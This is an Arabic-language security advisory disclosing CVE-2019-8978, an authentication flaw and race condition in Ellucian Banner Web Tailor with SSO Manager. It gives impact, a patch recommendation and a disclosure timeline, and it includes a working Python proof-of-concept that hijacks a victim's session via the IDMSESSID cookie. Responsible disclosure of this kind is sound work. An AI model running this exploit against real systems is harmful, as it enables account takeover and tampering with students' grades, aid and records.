
إفصاح عن ثغرة في Banner Web Tailor و Banner Enterprise Identity Services
المؤلف: Katie Mulliken [email protected]
شكرًا لـ: مركز تنسيق CERT بجامعة Carnegie Mellon
الملخص التنفيذي
المنتج
التأثير والتوصيات
أ. التأثير
ب. التوصيات
التفاصيل الفنية
أ. الوصف الفني
ب. كود الاستغلال
الجدول الزمني للإفصاح
المراجع
تم تحديد ثغرة سوء التحقق من الهوية (CWE-287) في Banner Web Tailor و Banner Enterprise Identity Services. تحدث هذه الثغرة عند استخدام SSO Manager كآلية التحقق من الهوية لـ Web Tailor، مما قد يؤدي إلى كشف المعلومات وفقدان سلامة البيانات للمستخدم(ين) المتأثر(ين). أكد البائع وجود الثغرة وأصدر تصحيحًا متاحًا الآن. لمزيد من المعلومات، انظر المنشورات على مجتمعات Ellucian: [الرابط لم يُقدم قبل الموعد النهائي] و Banner Enterprise Identity Services: [الرابط لم يُقدم قبل الموعد النهائي]. تحديث: إليك الرابط لقسم IAM: وهذا هو رابط اتصال ثغرة Banner Web Tailor و SSO Manager المنشور في مساحة مجتمع Banner العام ومجتمع Banner التقني - ]
Banner Web Tailor هي أداة ويب، مصممة لمؤسسات التعليم العالي، توفر وظائف التسجيل، وإدارة المناهج، والإرشاد الأكاديمي، والإدارة، وإعداد التقارير. يتمكن الطلاب من الوصول إلى معلومات تسجيلهم، وتخرجهم، ومساعداتهم المالية وتغييرها. يتمكن الأساتذة والمدرسون من إدخال الدرجات النهائية وإدارة مقرراتهم الدراسية. يتمكن المسؤولون من الوصول إلى معلومات الطلاب والمدرسين وتغييرها. تستخدمها مئات المؤسسات، وقد اختار العديد منها استخدام مدير الدخول الموحد (Single Sign-on Manager) للمشاركة في خدمات الدخول الموحد المستندة إلى CAS و SAML. [2]
يتم تسريب معرف المستخدم الفريد، UDCID، عبر ملف تعريف ارتباط (cookie) ويمكن أن يؤدي إلى اختراق الحساب إذا تم التقاط هذا المعرف أو كان معروفًا بطريقة أخرى، في الحالة التي تم اختبارها كان UDCID معروفًا بكونه المعرف المؤسسي المطبوع على بطاقات الهوية. يمكن استخدام UDCID لاستغلال حالة سباق (race condition) من شأنها توفير وصول غير مصرح به للمهاجم. بالنسبة للطالب، يمكن للمهاجم حذفه من مقرراته الدراسية، أو رفض المساعدات المالية، أو تغيير معلوماته الشخصية، إلخ. بالنسبة للأستاذ، يمكن أن يؤدي ذلك إلى عدم القدرة على إدارة مقرراته، أو السماح لطالب ضار بإدخال درجات نهائية زائفة، إلخ. بالنسبة للمسؤول، يمكن للمهاجم تغيير معلومات المستخدمين، أو وضع تعليقات زائفة على حسابات الطلاب، إلخ.
يجب على المؤسسات المتأثرة التحديث إلى أحدث إصدار. يمكن العثور على مزيد من المعلومات في المنشورات على مجتمعات Ellucian: [الرابط لم يُقدم قبل الموعد النهائي] و Banner Enterprise Identity Services: [الرابط لم يُقدم قبل الموعد النهائي] تحديث: إليك الرابط لقسم IAM: https://ecommunities.ellucian.com/message/252749#252749 وهذا هو رابط اتصال ثغرة Banner Web Tailor و SSO Manager المنشور في مساحة مجتمع Banner العام ومجتمع Banner التقني - https://ecommunities.ellucian.com/message/252810#252810. يُرجى استخدام مجتمعات Ellucian أو الاتصال بـ Ellucian عبر ActionLine للحصول على مزيد من المعلومات. سيتوفر تحديث لهذا الإفصاح على GitHub: https://github.com/JoshuaMulliken/CVE-2019-8978
يمكن استغلال ثغرة سوء التحقق من الهوية من خلال حالة سباق تحدث في Ellucian Banner Web Tailor، بالاقتران مع SSO Manager. تسمح هذه الثغرة للمهاجمين عن بعد بسرقة جلسة الضحية (والتسبب في رفض الخدمة) عن طريق طلب الصفحة الرئيسية الأولية لـ Banner Web Tailor بشكل متكرر مع تعيين ملف تعريف الارتباط IDMSESSID على معرف UDCID للضحية، والذي في الحالة التي تم اختبارها هو المعرف المؤسسي. أثناء محاولة تسجيل دخول من قبل الضحية، يمكن للمهاجم استغلال حالة السباق وسيحصل على SESSID الذي كان مخصصًا لهذه الضحية. راجع كود إثبات المفهوم الموجود على رابط GitHub أدناه لمزيد من التفاصيل.
""" exploit.py
This code is designed for Python 3 and requires the packages selenium and requests_threads. It does 50 simultaneous requests per batch and repeats. More or less may be required depending on your connection latency.
"""
import re, time, sys, select, os
from selenium import webdriver
from requests_threads import AsyncSession
requests_per_batch = 50
target_host = input("Please provide the target url (This is from the Web Tailor page post login): ")
target_id = input("Please provide the ID, which in the case tested is the institutional ID: ")
cookies = {
'IDMSESSID': target_id,
}
session = AsyncSession(n=requests_per_batch)
async def _main():
final_sessid = ""
os.system('cls' if os.name == 'nt' else 'clear')
print("To quit press Enter")
while True:
rs = []
for _ in range(requests_per_batch):
rs.append(await session.get(target_host, cookies=cookies))
for response in rs:
for c in response.cookies:
if (c.name == 'SESSID'):
print(c.name, c.value)
final_sessid = c.value
if sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
line = input()
break
print("Last SESSID:", final_sessid)
open_browser = input("Open a browser with this SESSID(y/n): ")
if open_browser == "y":
"""
This feature requires a chromedriver for your operating system version.
It can be found at https://sites.google.com/a/chromium.org/chromedriver/
Place it in the working directory of the exploit.py
"""
browser = webdriver.Chrome(executable_path=os.path.join(os.getcwd(),"chromedriver"))
browser.get(target_host)
browser.add_cookie({
"domain": target_host.split("/")[2],
"name": "SESSID",
"value": final_sessid,
})
browser.get(target_host)
stay_open = input("Press enter to close")
session.run(_main)
18 ديسمبر 2018: محاولة الإبلاغ عبر نموذج التسويق الإلكتروني لـ Ellucian وإرساله إلى [email protected]
20 ديسمبر 2018: تقديم تقرير إلى مركز تنسيق CERT بجامعة Carnegie Mellon
2 يناير 2019: تقديم تقرير إلى مدير أمن المعلومات (CISO) في Ellucian تم اكتشافه عبر LinkedIn
2 يناير 2019: طلب معلومات عن إجراءات الإفصاح المسؤول من جامعة South Carolina
3 يناير 2019: تم إخباري بالإبلاغ عبر ActionLine بواسطة Ellucian
4 يناير 2019: تم إخباري من قبل جامعة South Carolina بعدم وجود إجراءات للإبلاغ عن الثغرات
4 يناير 2019: أخبرت جامعة South Carolina أنني اكتشفت ثغرة في Banner
18 فبراير 2019: أبلغني CERT بفشل الوصول إلى البائع ونصحني بالإفصاح علنًا
25 فبراير 2019: أرسلت مسودة التقرير الاستشاري إلى Ellucian وحددت تاريخ الإفصاح في 4 مارس
28 فبراير 2019: قمت بتشغيل عرض توضيحي للثغرة لـ Ellucian عبر مؤتمر Zoom
1 مارس 2019: طلبت مني جامعة South Carolina تأجيل النشر
21 مارس 2019: تلقت جامعة South Carolina تصحيحًا متأخرًا من Ellucian
26 مارس 2019: قامت Ellucian بوضع اللمسات الأخيرة على التصحيحات لجميع الإصدارات
29 مارس 2019: أخبرتني Ellucian أن جامعة South Carolina ستقوم بالتغييرات في 1 أبريل
1 أبريل 2019: طلبت معلومات عن حالة التصحيح من جامعة South Carolina
5 أبريل 2019: أعطت جامعة South Carolina تقديرًا للوقت في 30 أبريل 2019
30 أبريل 2019: قامت جامعة South Carolina بتحديث التقدير إلى منتصف مايو
7 مايو 2019: حددت تاريخ نشر الإفصاح في 13 مايو
10 مايو 2019: نشرت جامعة South Carolina إشعار انقطاع مخطّط لجميع خدمات Banner المقرر في 11 مايو
11 مايو 2019: قامت جامعة South Carolina بتثبيت التصحيح بنجاح
13 مايو 2019: تم نشر الإفصاح